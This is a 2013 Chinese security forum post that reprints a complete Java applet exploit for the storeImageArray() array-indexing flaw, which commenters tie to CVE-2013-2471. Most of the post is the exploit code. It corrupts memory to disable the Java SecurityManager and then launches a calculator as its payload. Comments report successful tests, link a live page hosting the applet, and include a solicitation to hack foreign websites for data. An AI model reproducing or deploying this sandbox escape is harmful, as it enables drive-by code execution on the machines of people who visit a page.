Java storeImageArray 漏洞

园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-08-21 12:43

碰巧看到我就截个图,有点忙晚点看.

Java storeImageArray 漏洞

下载:PSA-2013-0811-1-exploit.tgz

Java storeImageArray() Invalid Array Indexing Vulnerability

import java.awt.image.*;
import java.awt.color.*;
import java.beans.Statement;
import java.security.*;

public class MyJApplet extends javax.swing.JApplet {

    /**
     * Initializes the applet myJApplet
     */
    @Override
    public void init() {
        /* Set the Nimbus look and feel */
        //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
         /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
          * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
          */
        try {
            for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
                 if ("Nimbus".equals(info.getName())) {
                    javax.swing.UIManager.setLookAndFeel(info.getClassName());
                    break;
                }
            }
        } catch (ClassNotFoundException ex) {
            java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
         } catch (InstantiationException ex) {
            java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
         } catch (IllegalAccessException ex) {
            java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
         } catch (javax.swing.UnsupportedLookAndFeelException ex) {
            java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
         }
        //</editor-fold>

        /* Create and display the applet */
        try {
            java.awt.EventQueue.invokeAndWait(new Runnable() {
                public void run() {
                    initComponents();

                    // print environment info
          logAdd(
            "JRE: " + System.getProperty("java.vendor") + " " + System.getProperty("java.version") +
             "\nJVM: " + System.getProperty("java.vm.vendor") + " " + System.getProperty("java.vm.version") +
                         "\nJava Plug-in: " + System.getProperty("javaplugin.version") +
             "\nOS: " + System.getProperty("os.name") + " " + System.getProperty("os.arch") + " (" + System.getProperty("os.version") + ")"
                     );

                }
            });
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    public void logAdd(String str)
    {
    txtArea.setText(txtArea.getText() + str + "\n");
    }

  public void logAdd(Object o, String... str)
    {
        logAdd((str.length > 0 ? str[0]:"") + (o == null ? "null" : o.toString()));
     }

  public String errToStr(Throwable t)
  {
    String str = "Error: " + t.toString();
    StackTraceElement[] ste = t.getStackTrace();
    for(int i=0; i < ste.length; i++) {
      str += "\n\t" + ste[i].toString();
    }
    t = t.getCause();
    if (t != null) str += "\nCaused by: " + errToStr(t);
    return str;
  }

  public void logError(Exception ex)
  {
    logAdd(errToStr(ex));
  }

    public static String toHex(int i)
  {
        return Integer.toHexString(i);
  }

    /**
     * This method is called from within the init() method to initialize the
     * form. WARNING: Do NOT modify this code. The content of this method is
     * always regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
     private void initComponents() {

        btnStart = new javax.swing.JButton();
        jScrollPane2 = new javax.swing.JScrollPane();
        txtArea = new javax.swing.JTextArea();

        btnStart.setText("Run calculator");
        btnStart.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mousePressed(java.awt.event.MouseEvent evt) {
                btnStartMousePressed(evt);
            }
        });

        txtArea.setEditable(false);
        txtArea.setColumns(20);
        txtArea.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N
        txtArea.setRows(5);
        txtArea.setTabSize(4);
        jScrollPane2.setViewportView(txtArea);

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
         getContentPane().setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
             .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 580, Short.MAX_VALUE)
                 .addContainerGap())
            .addGroup(layout.createSequentialGroup()
                .addGap(242, 242, 242)
                .addComponent(btnStart, javax.swing.GroupLayout.PREFERRED_SIZE, 124, javax.swing.GroupLayout.PREFERRED_SIZE)
                 .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
         );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
             .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
                 .addContainerGap()
                .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 344, Short.MAX_VALUE)
                 .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                 .addComponent(btnStart)
                .addContainerGap())
        );
    }// </editor-fold>//GEN-END:initComponents

    private boolean _isMac = System.getProperty("os.name","").contains("Mac");
    private boolean _is64  = System.getProperty("os.arch","").contains("64");

    // we will need ColorSpace which returns 1 from getNumComponents()
    class MyColorSpace extends ICC_ColorSpace
    {
        public MyColorSpace()
        {
            super(ICC_Profile.getInstance(ColorSpace.CS_sRGB));
        }

        // override getNumComponents
        public int getNumComponents()
        {
            int res = 1;
            //logAdd("MyColorSpace.getNumComponents() = " + res);
            return res;
        }
    }

    // we will need ComponentColorModel with the obedient isCompatibleRaster() which always returns true.
     class MyColorModel extends ComponentColorModel
    {
        public MyColorModel()
        {
            super(new MyColorSpace(), new int[]{8,8,8}, false, false, 1, DataBuffer.TYPE_BYTE);
         }

        // override isCompatibleRaster
        public boolean isCompatibleRaster(Raster r)
    {
      boolean res = true;
      logAdd("MyColorModel.isCompatibleRaster() = " + res);
      return res;
    }
    }

    private int tryExpl()
    {
    try {
            // alloc aux vars
            String name = "setSecurityManager";
            Object[] o1 = new Object[1];
            Object o2 = new Statement(System.class, name, o1); // make a dummy call for init

            // allocate byte buffer for destination Raster.
            DataBufferByte dst = new DataBufferByte(16);

            // allocate the target array right after dst
            int[] a = new int[8];
            // allocate an object array right after a[]
            Object[] oo = new Object[7];

            // create Statement with the restricted AccessControlContext
            oo[2] = new Statement(System.class, name, o1);

            // create powerful AccessControlContext
            Permissions ps = new Permissions();
            ps.add(new AllPermission());
            oo[3] = new AccessControlContext(
                new ProtectionDomain[]{
                    new ProtectionDomain(
                        new CodeSource(
                            new java.net.URL("file:///"),
                            new java.security.cert.Certificate[0]
                        ),
                        ps
                    )
                }
            );

            // store System.class pointer in oo[]
            oo[4] = ((Statement)oo[2]).getTarget();

            // save old a.length
            int oldLen = a.length;
            logAdd("a.length = 0x" + toHex(oldLen));

            // create regular source image
            BufferedImage bi1 = new BufferedImage(4,1, BufferedImage.TYPE_INT_ARGB);
             logAdd(bi1);

            // prepare the sample model with "dataBitOffset" pointing outside dst[] onto a.length
             MultiPixelPackedSampleModel sm = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,1,1,4, 44 + (_is64 ? 8:0));
             // create malformed destination image based on dst[] data
            WritableRaster wr = Raster.createWritableRaster(sm, dst, null);
             BufferedImage bi2 = new BufferedImage(new MyColorModel(), wr, false, null);
             logAdd(bi2);

            // prepare first pixel which will overwrite a.length
            bi1.getRaster().setPixel(0,0, new int[]{-1,-1,-1,-1});

            // call the vulnerable storeImageArray() function (see ...\jdk\src\share\native\sun\awt\medialib\awt_ImagingLib.c)
             AffineTransformOp op = new AffineTransformOp(new java.awt.geom.AffineTransform(1,0,0,1,0,0), null);
             op.filter(bi1, bi2);

            // check results: a.length should be overwritten by 0xFFFFFFFF
            int len = a.length;
            logAdd("a.length = 0x" + toHex(len));
            if (len == oldLen) {
                // check a[] content corruption // for RnD
                for(int i=0; i < len; i++) if (a[i] != 0) logAdd("a["+i+"] = 0x" + toHex(a[i]));
                 // exit
                logAdd("error 1"); return 1;
            }

            // ok, now we can read/write outside the real a[] storage,
            // lets find our Statement object and replace its private "acc" field value

            // search for oo[] after a[oldLen]
            boolean found = false;
            int ooLen = oo.length;
            for(int i=oldLen+2; i < oldLen+32; i++)
                if (a[i-1]==ooLen && a[i]==0 && a[i+1]==0 // oo[0]==null && oo[1]==null
                  && a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0   // oo[2,3,4] != null
                  && a[i+5]==0 && a[i+6]==0)               // oo[5,6] == null
                {
                    // read pointer from oo[4]
                    int stmTrg = a[i+4];
                    // search for the Statement.target field behind oo[]
                    for(int j=i+7; j < i+7+64; j++){
                        if (a[j] == stmTrg) {
                            // overwrite default Statement.acc by oo[3] ("AllPermission")
                             a[j-1] = a[i+3];
                            found = true;
                            break;
                        }
                    }
                    if (found) break;
                }

            // check results
            if (!found) {
                // print the memory dump on error // for RnD
                String s = "a["+oldLen+"...] = ";
                for(int i=oldLen; i < oldLen+32; i++) s += toHex(a[i]) + ",";
                logAdd(s);
            } else try {
                // show current SecurityManager
                logAdd(System.getSecurityManager(), "Security Manager = ");

                // call System.setSecurityManager(null)
                ((Statement)oo[2]).execute();

                // show results: SecurityManager should be null
                logAdd(System.getSecurityManager(), "Security Manager = ");
            } catch (Exception ex) {
                logError(ex);
            }

            logAdd(System.getSecurityManager() == null ? "Ok.":"Fail.");

    } catch (Exception ex) {
      logError(ex);
    }

        return 0;
    }

    private void btnStartMousePressed(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_btnStartMousePressed
     try {
      logAdd("===== Start =====");

            // try several attempts to exploit
      for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){
        logAdd("Attempt #" + i);
        tryExpl();
      }

      // check results
      if (System.getSecurityManager() == null) {
        // execute payload
        Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe");
       }

      logAdd("=====  End  =====");
    } catch (Exception ex) {
      logError(ex);
    }
    }//GEN-LAST:event_btnStartMousePressed

    // Variables declaration - do not modify//GEN-BEGIN:variables
    private javax.swing.JButton btnStart;
    private javax.swing.JScrollPane jScrollPane2;
    private javax.swing.JTextArea txtArea;
    // End of variables declaration//GEN-END:variables
}

[原文地址]

相关讨论:

1#

xiaoL | 2013-08-21 12:47

CVE-2013-2471??

2#

ppt (|hacking for |)|?(| nuf) | 2013-08-21 12:50

java就是一个bug

3#

小黑要低调 | 2013-08-21 14:01

mark

4#

国士无双 | 2013-08-21 14:12

这是要火的节奏...

5#

_Evil (年轻人切忌浮躁,性趣是最好的导师.) | 2013-08-21 14:20

强哥强哥我爱你,就像老鼠爱大米!

6#

z7y (我是z7y,我为小胖子代言!!) | 2013-08-21 14:38

园长弟弟V5 :P

7#

sinck | 2013-08-21 14:59

mark

8#

我真的不帅 | 2013-08-21 15:00

前排小板凳,瓜子,矿泉水,十五折批发。。。

9#

点点 (http://t.qq.com/ox_diandi) | 2013-08-21 15:27

哇 要火了

10#

邪恶魔法师 (骚货) | 2013-08-21 15:37

的确牛癖

11#

Nebula | 2013-08-21 15:37

你会发现,在win7的64位IE10浏览器中PoC是有问题的(32位正常)!那是什么原因了?

12#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-08-21 16:40

@z7y 我改了下打开页面输出z7y&vip成功了。

13#

VIP (Fatal error: Call to undefined function getwb() in /data1/www/htdocs/106/wzone/1/index.php on line 10|@齐迹@小胖子@z7y@nauscript|昨晚做梦梦见了一个ecshop注射0day,醒来后忘记在哪了。|预留广告位) | 2013-08-21 16:59

好牛逼,弹出cmd成功了

14#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-08-21 17:01

弹个mstsc

测试地址:http://www.lolbar.net/plus/img/face/calc.htm

弹个mstsc:

15#

我是小号 (我是小学生) | 2013-08-21 18:49

@xiaoL 嗯是的

http://www.exploit-db.com/exploits/27705/

16#

我是小号 (我是小学生) | 2013-08-21 18:49

强哥强哥我爱你,就像老鼠爱大米!

17#

乌帽子 (儿啊,到大城市切莫乱搞女人啊,染上什么病回来传染给) | 2013-08-21 21:37

@园长 肿么回事啊 提示我要安装抓哇他妈才给显示

18#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-08-21 21:39

@乌帽子 这个就是利用Java的applet漏洞在你本机执行恶意代码,亲不是getshell。

19#

Ocean | 2013-08-22 00:46

@园长 测试win8.1不成功

留言评论(旧系统):

年薪百万寻黑客 @ 2013-08-23 11:48:57

我QQ5248174 求大神入侵欧美网站拿数据 有兴趣可以加我QQ,年薪百万寻黑客!

本站回复:

[暂无回复]